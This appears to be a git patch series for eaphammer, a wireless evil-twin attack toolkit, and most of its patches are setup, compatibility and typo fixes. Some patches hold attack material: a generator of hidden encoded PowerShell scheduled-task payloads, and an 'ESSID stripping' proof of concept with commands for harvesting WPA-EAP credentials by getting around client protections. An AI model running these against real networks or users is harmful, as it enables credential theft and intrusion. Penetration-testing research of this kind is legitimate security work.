From 44f8a1e34b50dc07df3c9a6521584f5dda896a09 Mon Sep 17 00:00:00 2001 From: DroidKali <1626057480@qq.com> Date: Sun, 20 Dec 2020 01:27:37 +0800 Subject: [PATCH 01/26] eaphammer: Fix Python3 env issue in Kali Linux 2020.4 amd64 Signed-off-by: DroidKali <1626057480@qq.com> --- eaphammer | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/eaphammer b/eaphammer index 944634b..473088e 100755 --- a/eaphammer +++ b/eaphammer @@ -1,4 +1,4 @@ -#!/usr/bin/env python3.8 +#!/usr/bin/env python3 import argparse import cert_wizard From 4c51bb5ecbfa3af1727632b1171f9d4012d8f23d Mon Sep 17 00:00:00 2001 From: GNUOverYooouu <69485115+DamieFC@users.noreply.github.com> Date: Wed, 24 Mar 2021 09:31:58 -0700 Subject: [PATCH 02/26] Fix typo in /README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index da7c660..daeb493 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ To setup and execute a credential stealing evil twin attack against a WPA/2-EAP # launch attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds -## Quick Start Guide - Parot OS (Security) +## Quick Start Guide - Parrot OS (Security) Begin by cloning the __eaphammer__ repo using the following command: From df288c9fb1c06eef7438c18f79a5a43e67f669c3 Mon Sep 17 00:00:00 2001 From: Javier <31896165+JBalanza@users.noreply.github.com> Date: Fri, 28 May 2021 13:03:44 +0200 Subject: [PATCH 03/26] Update raspbian-setup Bug fix TLS error when dh file not found. --- raspbian-setup | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/raspbian-setup b/raspbian-setup index bdb4d4d..56556fb 100755 --- a/raspbian-setup +++ b/raspbian-setup @@ -69,9 +69,9 @@ if __name__ == '__main__': os.system('cd {}/openssl && make install_sw'.format(local_dir)) print('\n[*] complete!\n') - #print('\n[*] Create DH parameters file with default length of 2048...\n') - #os.system('{} dhparam -out {} 2048'.format(openssl_bin, dh_file)) - #print('\ncomplete!\n') + print('\n[*] Create DH parameters file with default length of 2048...\n') + os.system('{} dhparam -out {} 2048'.format(openssl_bin, dh_file)) + print('\ncomplete!\n') print('\n[*] Compiling hostapd...\n') os.system("cd %s && cp defconfig .config" % settings.dict['paths']['directories']['hostapd']) From 4483b5796544f10895a5dc56819ef93899e4c867 Mon Sep 17 00:00:00 2001 From: Jamie Slome Date: Wed, 21 Jul 2021 06:46:03 +0100 Subject: [PATCH 04/26] Create SECURITY.md --- SECURITY.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 SECURITY.md diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..656af1e --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,5 @@ +# Security Policy + +## Reporting a Vulnerability + +If you find any security issues, please report to gabriel@solstice.sh From 33bea722ccd0cb7b4c6a11b0391f0733e9dab647 Mon Sep 17 00:00:00 2001 From: s0lst1c3 Date: Wed, 21 Jul 2021 02:53:55 -0600 Subject: [PATCH 05/26] Update SECURITY.md --- SECURITY.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SECURITY.md b/SECURITY.md index 656af1e..fee03fc 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -2,4 +2,4 @@ ## Reporting a Vulnerability -If you find any security issues, please report to gabriel@solstice.sh +If you find any security issues, please open an issue on GitHub. From 4f34853c0aae90ad755b69a74bd2fe9d976daaa2 Mon Sep 17 00:00:00 2001 From: Gabriel Ryan Date: Wed, 4 Aug 2021 04:22:55 -0700 Subject: [PATCH 06/26] added unattended setup script for ubuntu --- ubuntu-unattended-setup | 104 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100755 ubuntu-unattended-setup diff --git a/ubuntu-unattended-setup b/ubuntu-unattended-setup new file mode 100755 index 0000000..5f82b95 --- /dev/null +++ b/ubuntu-unattended-setup @@ -0,0 +1,104 @@ +#!/usr/bin/env python3 +import os +import sys + +from settings import settings + +def exit_if_not_root(): + + if os.getuid() != 0: + sys.exit("[!} Error: this script must be run as root.") + +def read_deps_file(deps_file): + with open(deps_file) as fd: + return ' '.join([ line.strip() for line in fd ]) + +if __name__ == '__main__': + + exit_if_not_root() + + + default_wordlist = os.path.join(settings.dict['paths']['directories']['wordlists'], settings.dict['core']['eaphammer']['general']['default_wordlist']) + + wordlist_source = settings.dict['core']['eaphammer']['general']['wordlist_source'] + + root_dir = settings.dict['paths']['directories']['root'] + local_dir = settings.dict['paths']['directories']['local'] + + openssl_source = settings.dict['core']['eaphammer']['general']['openssl_source'] + openssl_version = settings.dict['core']['eaphammer']['general']['openssl_version'] + openssl_build_options = settings.dict['core']['eaphammer']['general']['openssl_build_options'] + openssl_build_prefix = os.path.join(local_dir, 'openssl/local') + + openssl_bin = settings.dict['paths']['openssl']['bin'] + dh_file = settings.dict['paths']['certs']['dh'] + + if input('Important: it is highly recommended that you run "apt -y update" and "apt -y upgrade" prior to running this setup script. Do you wish to proceed? Enter [y/N]: ').lower() != 'y': + sys.exit('Aborting.') + print() + + + print('\n[*] Removing stub files...\n') + os.system('find {} -type f -name \'stub\' -exec rm -f {{}} +'.format(root_dir)) + print('\ncomplete!\n') + + + print('\n[*] Installing Kali dependencies...\n') + os.system('export DEBIAN_FRONTEND=noninteractive && apt -yq install %s' % read_deps_file('kali-dependencies.txt')) + print('\n[*] complete!\n') + + print('\n[*] Installing Python dependencies...\n') + os.system('python3 -m pip install -r pip.req') + print('\n[*] complete!\n') + + + print('\n[*] Downloading OpenSSL_{}...\n'.format(openssl_version.replace('.', '_'))) + os.system('wget {} -O {}/openssl.tar.gz'.format(openssl_source, local_dir)) + print('\n[*] complete!\n') + + print('\n[*] Extracting OpenSSL_{}...\n'.format(openssl_version.replace('.', '_'))) + os.system('cd {} && tar xzf openssl.tar.gz'.format(local_dir)) + os.system('mv {}/openssl-OpenSSL_{} {}/openssl'.format(local_dir, openssl_version.replace('.', '_'), local_dir)) + os.system('cd {} && rm -f openssl.tar.gz'.format(local_dir)) + print('\n[*] complete!\n') + + print('\n[*] Compiling OpenSSL locally to avoid interfering with system install...\n') + os.system('cd {}/openssl && ./config --prefix={} enable-ssl2 enable-ssl3 enable-ssl3-method enable-des enable-rc4 enable-weak-ssl-ciphers no-shared'.format(local_dir, openssl_build_prefix)) + os.system('cd {}/openssl && make'.format(local_dir)) + os.system('cd {}/openssl && make install_sw'.format(local_dir)) + print('\n[*] complete!\n') + + print('\n[*] Create DH parameters file with default length of 2048...\n') + os.system('{} dhparam -out {} 2048'.format(openssl_bin, dh_file)) + print('\ncomplete!\n') + + print('\n[*] Compiling hostapd...\n') + os.system("cd %s && cp defconfig .config" % settings.dict['paths']['directories']['hostapd']) + os.system("cd %s && make hostapd-eaphammer_lib" % settings.dict['paths']['directories']['hostapd']) + print('\n[*] complete!\n') + + print('\n[*] Compiling hcxtools...\n') + os.system("cd %s && make" % settings.dict['paths']['directories']['hcxtools']) + print('\n[*] complete!\n') + + print('\n[*] Compiling hcxdumptool...\n') + os.system("cd %s && make" % settings.dict['paths']['directories']['hcxdumptool']) + print('\n[*] complete!\n') + + print('\n[*] Downloading default wordlist...\n') + os.system("wget %s -O %s.tar.gz" % (wordlist_source, default_wordlist)) + print('\n[*] complete!\n') + + print('\n[*] Extracting default wordlist...\n') + os.system("cd %s && tar xzf %s.tar.gz" % (settings.dict['paths']['directories']['wordlists'], default_wordlist)) + print('\n[*] complete!\n') + + print('\n[*] Retrieving Responder from teh interwebz...\n') + os.system("cd %s && git clone https://github.com/lgandx/Responder.git" % (settings.dict['paths']['directories']['local'])) + print('\n[*] complete!\n') + + print('\n[*] Creating symlink to captive portal template directory...\n') + os.symlink(settings.dict['paths']['wskeyloggerd']['usr_templates'], + settings.dict['paths']['wskeyloggerd']['usr_templates_sl']) + print('\n[*] complete!\n') + From 5ffbc74a8da1b24003c8e7c25b86d460d34c045a Mon Sep 17 00:00:00 2001 From: Gabriel Ryan Date: Wed, 4 Aug 2021 04:24:11 -0700 Subject: [PATCH 07/26] added unattended setup script for ubuntu --- ubuntu-unattended-setup | 3 --- 1 file changed, 3 deletions(-) diff --git a/ubuntu-unattended-setup b/ubuntu-unattended-setup index 5f82b95..cf572ea 100755 --- a/ubuntu-unattended-setup +++ b/ubuntu-unattended-setup @@ -33,9 +33,6 @@ if __name__ == '__main__': openssl_bin = settings.dict['paths']['openssl']['bin'] dh_file = settings.dict['paths']['certs']['dh'] - if input('Important: it is highly recommended that you run "apt -y update" and "apt -y upgrade" prior to running this setup script. Do you wish to proceed? Enter [y/N]: ').lower() != 'y': - sys.exit('Aborting.') - print() print('\n[*] Removing stub files...\n') From 31820c667561f8492817e81d09574c852fb48172 Mon Sep 17 00:00:00 2001 From: jerrydark Date: Thu, 16 Sep 2021 16:40:10 -0400 Subject: [PATCH 08/26] autocrack fix --- core/autocrack.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/core/autocrack.py b/core/autocrack.py index 2f59fa7..8935e83 100644 --- a/core/autocrack.py +++ b/core/autocrack.py @@ -13,6 +13,7 @@ import select import json import core.utils +import re from multiprocessing import Process from settings import settings @@ -22,6 +23,10 @@ ASLEAP_CMD = 'asleap -C %s -R %s -W %s | grep -v asleap | grep password' EAP_USERS_ENTRY = '"%s"\tTTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2\t"%s"\t[2]' +challenge_pattern = re.compile("^([0-9A-Fa-f]{2}[:]){7}([0-9A-Fa-f]{2})$") +response_pattern = re.compile("^([0-9A-Fa-f]{2}[:]){23}([0-9A-Fa-f]{2})$") + + def crack_locally(username, challenge, response, wordlist): cmd = ASLEAP_CMD % (challenge, response, wordlist) @@ -74,13 +79,13 @@ def run_autocrack(wordlist): if remote_rig: pass - else: - + elif re.match(challenge_pattern, challenge) and re.match(response_pattern, response): crack_locally(username, challenge, response, wordlist) - + else: + print('[autocrack] invalid input: {}'.format(data)) class Autocrack(object): From 6e098a1d4b498e1e90f244eabf92ca441a8deb63 Mon Sep 17 00:00:00 2001 From: Reinaldo Deprera Date: Wed, 27 Apr 2022 10:34:35 -0300 Subject: [PATCH 09/26] `sockios.h` wasn't included MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Using `kali-setup` script in a Debian 11 (Testing), error: error: ‘SIOCGSTAMP’ undeclared (first use in this function); did you mean ‘SIOCGARP’ Fix: `sockios.h` wasn't included --- local/hcxdumptool/hcxdumptool.c | 1 + 1 file changed, 1 insertion(+) diff --git a/local/hcxdumptool/hcxdumptool.c b/local/hcxdumptool/hcxdumptool.c index 354deba..0e476c3 100644 --- a/local/hcxdumptool/hcxdumptool.c +++ b/local/hcxdumptool/hcxdumptool.c @@ -47,6 +47,7 @@ #include "include/pcap.c" #include "include/strings.c" #include "include/hashops.c" +#include /*===========================================================================*/ /* global var */ From 116a84f7413ec8a919bbcaece765f394f47d8cd6 Mon Sep 17 00:00:00 2001 From: Att4ck3rS3cur1ty Date: Mon, 15 Aug 2022 14:23:46 -0400 Subject: [PATCH 10/26] fixing 'TypeError: can only concatenate str, not bytes to str' --- core/payloads.py | 4 ++-- payload_generator | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/payloads.py b/core/payloads.py index cccbd73..0e9a426 100644 --- a/core/payloads.py +++ b/core/payloads.py @@ -14,7 +14,7 @@ def __init__(self, command, args, delay=180): def execute(self): - return 'powershell.exe -nop -w hidden -encodedCommand '+base64.b64encode(('''ipmo ScheduledTasks + return 'powershell.exe -nop -w hidden -encodedCommand '+str(base64.b64encode(('''ipmo ScheduledTasks $action = New-ScheduledTaskAction -Execute '%s' -Argument '%s' $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(%d) # tick tick tick ;) -Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "%s" -Description "%s"''' % (self.command, self.args, self.delay, self.taskname, self.description)).encode('utf-16-le')) +Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "%s" -Description "%s"''' % (self.command, self.args, self.delay, self.taskname, self.description)).encode('utf-16-le'))) diff --git a/payload_generator b/payload_generator index be6410a..3d6d8e2 100755 --- a/payload_generator +++ b/payload_generator @@ -46,4 +46,4 @@ if __name__ == '__main__': print print - print s.execute() + print (s.execute()) From e581df75fdd377ef36c1f6cf5823e9f46ef45900 Mon Sep 17 00:00:00 2001 From: Att4ck3rS3cur1ty Date: Mon, 15 Aug 2022 14:28:48 -0400 Subject: [PATCH 11/26] fixing-missing-parentheses-on-print --- payload_generator | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payload_generator b/payload_generator index be6410a..3d6d8e2 100755 --- a/payload_generator +++ b/payload_generator @@ -46,4 +46,4 @@ if __name__ == '__main__': print print - print s.execute() + print (s.execute()) From 8330fadd592432208f2c98deaa8a39466a6bf7f5 Mon Sep 17 00:00:00 2001 From: s0lst1c3 Date: Tue, 12 Sep 2023 17:31:47 -0600 Subject: [PATCH 12/26] Update payload_generator removing space --- payload_generator | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payload_generator b/payload_generator index 3d6d8e2..d7fef9d 100755 --- a/payload_generator +++ b/payload_generator @@ -46,4 +46,4 @@ if __name__ == '__main__': print print - print (s.execute()) + print(s.execute()) From 48a7f2398d2d4ab348c7a59e8fd15694e3ee6b6f Mon Sep 17 00:00:00 2001 From: s0lst1c3 Date: Sat, 7 Oct 2023 08:18:06 -0400 Subject: [PATCH 13/26] Reducing overall length of ctrl_interface prefix and postfix to accomodate 100 byte max_len for Unix domain sockets, which is exceeded in deeply nested directories. --- settings/paths.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/settings/paths.py b/settings/paths.py index 821834c..d9d8788 100644 --- a/settings/paths.py +++ b/settings/paths.py @@ -93,8 +93,7 @@ def __str__(self): HOSTAPD_BIN = os.path.join(HOSTAPD_DIR, 'hostapd-eaphammer') HOSTAPD_LIB = os.path.join(HOSTAPD_DIR, 'libhostapd-eaphammer.so') HOSTAPD_LOG = os.path.join(LOG_DIR, 'hostapd-eaphammer.log') -#output_file = 'hostapd-control-interface' # fuckit -output_file = OutputFile(name='ctrl-iface', length=8).string() +output_file = OutputFile(name='ctl-if', length=1).string() HOSTAPD_CTRL_INTERFACE = os.path.join(RUN_DIR, output_file) # eap_spray paths From ec74611f485fd74e28ba536b99adc2cf310bfdbd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=B8lst1c3?= Date: Sat, 7 Oct 2023 06:30:59 -0600 Subject: [PATCH 14/26] Revert "Reducing overall length of ctrl_interface prefix and postfix to accomodate 100 byte max_len for Unix domain sockets, which is exceeded in deeply nested directories." This reverts commit 48a7f2398d2d4ab348c7a59e8fd15694e3ee6b6f. --- settings/paths.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/settings/paths.py b/settings/paths.py index d9d8788..821834c 100644 --- a/settings/paths.py +++ b/settings/paths.py @@ -93,7 +93,8 @@ def __str__(self): HOSTAPD_BIN = os.path.join(HOSTAPD_DIR, 'hostapd-eaphammer') HOSTAPD_LIB = os.path.join(HOSTAPD_DIR, 'libhostapd-eaphammer.so') HOSTAPD_LOG = os.path.join(LOG_DIR, 'hostapd-eaphammer.log') -output_file = OutputFile(name='ctl-if', length=1).string() +#output_file = 'hostapd-control-interface' # fuckit +output_file = OutputFile(name='ctrl-iface', length=8).string() HOSTAPD_CTRL_INTERFACE = os.path.join(RUN_DIR, output_file) # eap_spray paths From e20cfa2882f3fd7eaa4481ae56b96daadc2fca07 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=B8lst1c3?= Date: Sat, 7 Oct 2023 06:33:20 -0600 Subject: [PATCH 15/26] Revert "Revert "Reducing overall length of ctrl_interface prefix and postfix to accomodate 100 byte max_len for Unix domain sockets, which is exceeded in deeply nested directories."" This reverts commit ec74611f485fd74e28ba536b99adc2cf310bfdbd. --- settings/paths.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/settings/paths.py b/settings/paths.py index 821834c..d9d8788 100644 --- a/settings/paths.py +++ b/settings/paths.py @@ -93,8 +93,7 @@ def __str__(self): HOSTAPD_BIN = os.path.join(HOSTAPD_DIR, 'hostapd-eaphammer') HOSTAPD_LIB = os.path.join(HOSTAPD_DIR, 'libhostapd-eaphammer.so') HOSTAPD_LOG = os.path.join(LOG_DIR, 'hostapd-eaphammer.log') -#output_file = 'hostapd-control-interface' # fuckit -output_file = OutputFile(name='ctrl-iface', length=8).string() +output_file = OutputFile(name='ctl-if', length=1).string() HOSTAPD_CTRL_INTERFACE = os.path.join(RUN_DIR, output_file) # eap_spray paths From b85deb0a98befd8aa1dc7924e85cd26e49ab2653 Mon Sep 17 00:00:00 2001 From: s0lst1c3 Date: Sat, 7 Oct 2023 10:06:37 -0400 Subject: [PATCH 16/26] Added version flag to CLI --- core/cli.py | 21 +++++++++++++++++++++ eaphammer | 11 ++++++++--- 2 files changed, 29 insertions(+), 3 deletions(-) diff --git a/core/cli.py b/core/cli.py index 4085fd5..fc376bf 100644 --- a/core/cli.py +++ b/core/cli.py @@ -75,6 +75,22 @@ 'reap_creds', ] +def suppress_banner(): + + version_flag_found = False + help_flag_found = False + for arg in sys.argv: + if arg.strip() in ['--help', '-h', '-hh']: + return False + if arg.strip() in ['--version', '-V']: + version_flag_found = True + + if version_flag_found: # and help_flag_found == False + return True + else: + return False + + def set_options(): @@ -83,6 +99,11 @@ def set_options(): modes_group = parser.add_argument_group('Modes') modes_group_ = modes_group.add_mutually_exclusive_group() + modes_group_.add_argument('--version', '-V', + dest='mode_show_version', + action='store_true', + help='Print version info') + modes_group_.add_argument('--cert-wizard', dest='cert_wizard', choices=[ diff --git a/eaphammer b/eaphammer index 473088e..b62a184 100755 --- a/eaphammer +++ b/eaphammer @@ -1176,11 +1176,14 @@ _/ __ \\\\__ \\ \\____ \\| | \\\\__ \\ / \\ / \\_/ __ \\_ __ \\ if __name__ == '__main__': - print_banner() + if not core.cli.suppress_banner(): + + print_banner() options = core.cli.set_options() - am_i_rooot() + if not options['mode_show_version']: + am_i_rooot() if options['debug']: print('[debug] Settings:') @@ -1188,7 +1191,9 @@ if __name__ == '__main__': print('[debug] Options:') print(json.dumps(options, indent=4, sort_keys=True)) - if options['cert_wizard'] or options['bootstrap']: + if options['mode_show_version']: + print(__version__) + elif options['cert_wizard'] or options['bootstrap']: run_cert_wizard() elif options['list_templates']: list_templates() From 434241fc5a258f36ad6b6887d05e0cf1c8b97491 Mon Sep 17 00:00:00 2001 From: s0lst1c3 Date: Sat, 7 Oct 2023 10:51:39 -0400 Subject: [PATCH 17/26] Fixing responder issues --- core/cli.py | 1 + core/responder.py | 2 +- settings/core/Responder.ini | 5 +++++ settings/paths.py | 4 ++-- 4 files changed, 9 insertions(+), 3 deletions(-) diff --git a/core/cli.py b/core/cli.py index fc376bf..c02f8e5 100644 --- a/core/cli.py +++ b/core/cli.py @@ -1005,6 +1005,7 @@ def set_options(): sys.exit() if (options['cert_wizard'] is False and + options['mode_show_version'] is False and options['manual_config'] is None and options['advanced_help'] is False and options['eap_spray'] is False and diff --git a/core/responder.py b/core/responder.py index fad2fce..4a0d725 100644 --- a/core/responder.py +++ b/core/responder.py @@ -18,7 +18,7 @@ def get_instance(): def start(self, iface): responder_bin = settings.dict['paths']['responder']['bin'] - self.process = subprocess.Popen([responder_bin, '-wrf', '--lm', '-I', iface]) + self.process = subprocess.Popen([responder_bin, '-wF', '--lm', '-I', iface]) def stop(self): diff --git a/settings/core/Responder.ini b/settings/core/Responder.ini index 659449f..69c8cf2 100644 --- a/settings/core/Responder.ini +++ b/settings/core/Responder.ini @@ -9,9 +9,14 @@ POP = On SMTP = On IMAP = On HTTP = Off +MQTT = Off +SNMP = Off HTTPS = On DNS = Off LDAP = On +RDP = On +DCERPC = On +WINRM = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/settings/paths.py b/settings/paths.py index d9d8788..99da7b0 100644 --- a/settings/paths.py +++ b/settings/paths.py @@ -63,8 +63,8 @@ def __str__(self): RESPONDER_CONFIG_LOG = os.path.join(LOG_DIR, 'Config-Responder.log') RESPONDER_HTML = os.path.join(RESPONDER_DIR, 'files/AccessDenied.html') RESPONDER_EXE = os.path.join(RESPONDER_DIR, 'files/BindShell.exe') -RESPONDER_CERT = os.path.join(RESPONDER_DIR, 'certs/responder.crt') -RESPONDER_KEY = os.path.join(RESPONDER_DIR, 'certs/responder.key') +RESPONDER_CERT = os.path.join(ROOT_DIR, 'certs/responder.crt') +RESPONDER_KEY = os.path.join(ROOT_DIR, 'certs/responder.key') # asleap paths ASLEAP_BIN = os.path.join(ASLEAP_DIR, 'asleap') From 9ea698b0e43328391b4a04b3e0f17aaec4ff8f05 Mon Sep 17 00:00:00 2001 From: s0lst1c3 Date: Sat, 7 Oct 2023 11:26:25 -0400 Subject: [PATCH 18/26] Allows cloner to work with self-signed certificates, fixes threading issues. --- core/module_maker.py | 41 +++++++++++++++++++++++++++++++++-------- 1 file changed, 33 insertions(+), 8 deletions(-) diff --git a/core/module_maker.py b/core/module_maker.py index 15f33b6..e658628 100644 --- a/core/module_maker.py +++ b/core/module_maker.py @@ -16,7 +16,7 @@ class Cloaner(object): - def __init__(self, url, project_name=None): + def __init__(self, url, project_name=None, debug=False, bypass_robots=False, verify=False): self.url = url @@ -28,19 +28,43 @@ def __init__(self, url, project_name=None): self.full_project_path = os.path.join(g_tmp_dir, project_name, self.target_host) + self.debug = debug + + self.bypass_robots = bypass_robots + + self.verify = verify + def run(self): kwargs = { 'bypass_robots' : True, 'project_name' : self.project_name, } - - save_webpage( - - url=self.url, - project_folder=g_tmp_dir, - **kwargs + + from pywebcopy.configs import get_config + config = get_config( + self.url, + g_tmp_dir, + self.project_name, + self.bypass_robots, + self.debug, + delay=None, + threaded=None, ) + + page = config.create_page() + page.session.verify = self.verify + + page.get(self.url) + + page.save_complete(pop=True) + + #save_webpage( + # + # url=self.url, + # project_folder=g_tmp_dir, + # **kwargs + #) return @@ -140,7 +164,8 @@ def move_index_to_target(self): # script src for script in soup.findAll('script'): - script['src'] = "{{ url_for('static', filename='%s') }}" % script['src'] + if 'src' in script: + script['src'] = "{{ url_for('static', filename='%s') }}" % script['src'] body = soup.body.extract() head = soup.head.extract() From c4da083b68c3b4997880af29b953073854309d03 Mon Sep 17 00:00:00 2001 From: s0lst1c3 Date: Sat, 7 Oct 2023 10:22:32 -0600 Subject: [PATCH 19/26] Fixing ParrotOS setup issues --- parot-dependencies.txt => parrot-dependencies.txt | 0 parot-setup => parrot-setup | 5 +++-- 2 files changed, 3 insertions(+), 2 deletions(-) rename parot-dependencies.txt => parrot-dependencies.txt (100%) rename parot-setup => parrot-setup (97%) diff --git a/parot-dependencies.txt b/parrot-dependencies.txt similarity index 100% rename from parot-dependencies.txt rename to parrot-dependencies.txt diff --git a/parot-setup b/parrot-setup similarity index 97% rename from parot-setup rename to parrot-setup index 5cfef45..78a5f2c 100755 --- a/parot-setup +++ b/parrot-setup @@ -16,7 +16,7 @@ def read_deps_file(deps_file): if __name__ == '__main__': exit_if_not_root() - + default_wordlist = os.path.join(settings.dict['paths']['directories']['wordlists'], settings.dict['core']['eaphammer']['general']['default_wordlist']) @@ -44,9 +44,10 @@ if __name__ == '__main__': print('\n[*] Installing Parot dependencies...\n') - os.system('apt -y install %s' % read_deps_file('parot-dependencies.txt')) + os.system('apt -y install %s -t parrot-backports' % read_deps_file('parrot-dependencies.txt')) print('\n[*] complete!\n') + print('\n[*] Installing Python dependencies...\n') os.system('python3 -m pip install -r pip.req') print('\n[*] complete!\n') From ab68f671f00507c0683103047adfbd2a831e7d90 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ra=C3=BAl=20Calvo=20Laorden?= Date: Sun, 17 Sep 2023 12:13:18 +0200 Subject: [PATCH 20/26] Update pip.req with pem==21.2.0 pem==23.1.0 doesn't work. AttributeError: module 'pem.core' has no attribute 'PrivateKey' --- pip.req | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pip.req b/pip.req index 0243660..9203a93 100644 --- a/pip.req +++ b/pip.req @@ -1,6 +1,6 @@ gevent>=1.5.0 tqdm -pem +pem==21.2.0 pyOpenSSL scapy lxml From 3b834634d8468d6eb9cb53f3e26aa8211c962354 Mon Sep 17 00:00:00 2001 From: RaulCalvoLaorden Date: Mon, 27 Feb 2023 21:24:49 +0100 Subject: [PATCH 21/26] ESSID stripping POC --- ESSIDStripping.md | 38 ++++++++++++++++++++ core/cli.py | 7 ++++ core/hostapd_config.py | 8 +++++ local/hostapd-eaphammer/hostapd/hostapd.conf | 3 +- 4 files changed, 55 insertions(+), 1 deletion(-) create mode 100644 ESSIDStripping.md diff --git a/ESSIDStripping.md b/ESSIDStripping.md new file mode 100644 index 0000000..5bfcd3b --- /dev/null +++ b/ESSIDStripping.md @@ -0,0 +1,38 @@ +# ESSID Stripping + +Add a non-printable UTF8 character to the AP ESSID to avoid new security settings on WiFi clients, such as Microsoft. This security configuration stores the information of the old connections and notifies if there are any changes, blocking the automatic connections and not allowing access to the network. In addition, the user's credentials could be obtained in case the computer uses client certificate or computer credentials in the domain, because for Windows is a new network. + +With this attack, the AP name is the same for the client, but Windows detects the full name as a new one, as it sees the non-printable characters. Then, the client asks for the username, password, etc. when logging in. Like a new network. + +In this case we use '/r' because is not showed by Android and it may go unnoticed as a new line in Windows, Linux and iOS. + +Other option is to use: +- '/t' for a tab +- '/n' for a enter, like '\r' + +If you want to change it you can modify the file: +"eaphammer/core/hostapd_config.py" + +## Attacking with Eaphammer + +### Attack on windows + +### Attack on linux + +### Attack on Android + +### Attack on iOS + +## Attacking manually using hostapd + +We only have to use the UTF8 essid options, and use the P options in the essid2 in the hostapd.conf file: +``` bash +ssid2=P"wifi-AP/n" +utf8_ssid=1 +``` + +# Refs + +- https://aireye.tech/2021/09/13/the-ssid-stripping-vulnerability-when-you-dont-see-what-you-get/ + +- https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf diff --git a/core/cli.py b/core/cli.py index c02f8e5..a74aa20 100644 --- a/core/cli.py +++ b/core/cli.py @@ -42,6 +42,7 @@ 'lport', 'karma', 'mana', + 'stripping', 'loud', 'create_template', 'delete_template', @@ -478,6 +479,12 @@ def set_options(): action='store_true', help='Enable karma.') + + access_point_group.add_argument('--stripping', + dest='stripping', + action='store_true', + help='Enable ESSID Stripping.') + access_point_group.add_argument('--mac-whitelist', dest='mac_whitelist', type=str, diff --git a/core/hostapd_config.py b/core/hostapd_config.py index ad7eb12..0e687af 100644 --- a/core/hostapd_config.py +++ b/core/hostapd_config.py @@ -361,6 +361,14 @@ def populate_general(self, settings, options): if options['essid'] is None: general_configs['ssid'] = settings.dict['core']['hostapd']['general']['ssid'] else: + if options['stripping']: + general_configs['ssid'] = options['essid'] + # Add UTF8 and ssid2=P"wifi-AP\n" + general_configs['ssid2'] = "P\"" + options['essid'] + "\\r\"" + general_configs['utf8_ssid'] = 1 + else: + general_configs['ssid'] = options['essid'] + general_configs['ssid'] = options['essid'] if options['bssid'] is None: diff --git a/local/hostapd-eaphammer/hostapd/hostapd.conf b/local/hostapd-eaphammer/hostapd/hostapd.conf index aafc6b7..a6f03d8 100644 --- a/local/hostapd-eaphammer/hostapd/hostapd.conf +++ b/local/hostapd-eaphammer/hostapd/hostapd.conf @@ -85,7 +85,8 @@ ctrl_interface_group=0 ##### IEEE 802.11 related configuration ####################################### # SSID to be used in IEEE 802.11 management frames -ssid=test +ssid2=test +utf8_ssid=1 # Alternative formats for configuring SSID # (double quoted string, hexdump, printf-escaped string) #ssid2="test" From b8f7c1217d704156153d52ace0ddae20d21390d7 Mon Sep 17 00:00:00 2001 From: r4ulcl Date: Tue, 25 Apr 2023 19:53:56 +0200 Subject: [PATCH 22/26] Change flag name and allow list of options --- ESSIDStripping.md | 28 ++++++++++++++++------------ core/cli.py | 12 +++++++----- core/hostapd_config.py | 5 +++-- 3 files changed, 26 insertions(+), 19 deletions(-) diff --git a/ESSIDStripping.md b/ESSIDStripping.md index 5bfcd3b..ac63695 100644 --- a/ESSIDStripping.md +++ b/ESSIDStripping.md @@ -4,30 +4,34 @@ Add a non-printable UTF8 character to the AP ESSID to avoid new security setting With this attack, the AP name is the same for the client, but Windows detects the full name as a new one, as it sees the non-printable characters. Then, the client asks for the username, password, etc. when logging in. Like a new network. -In this case we use '/r' because is not showed by Android and it may go unnoticed as a new line in Windows, Linux and iOS. -Other option is to use: -- '/t' for a tab -- '/n' for a enter, like '\r' +The options are: +- '\r' for a new line. +- '\t' for a tab. +- '\n' for a enter, like '\r'. +- '\x20' for a space, like adding a white space after the SSID option using quotes. -If you want to change it you can modify the file: -"eaphammer/core/hostapd_config.py" -## Attacking with Eaphammer +## Attacking with original Eaphammer (only space) -### Attack on windows +```bash +python3 ./eaphammer -i wlan3 --auth wpa-eap --essid "wifi-AP " --creds --negotiate balanced +``` + +## Attacking with modified Eaphammer -### Attack on linux +An example using the `--stripping '\r'` parameter is shown below. In this case we use '\r' because is not showed by Android and it may go unnoticed as a new line in Windows, Linux and iOS. -### Attack on Android -### Attack on iOS +```bash +python3 ./eaphammer -i wlan0 --auth wpa-eap --essid wifi-AP --creds --negotiate balanced --essid-stripping '\r' +``` ## Attacking manually using hostapd We only have to use the UTF8 essid options, and use the P options in the essid2 in the hostapd.conf file: ``` bash -ssid2=P"wifi-AP/n" 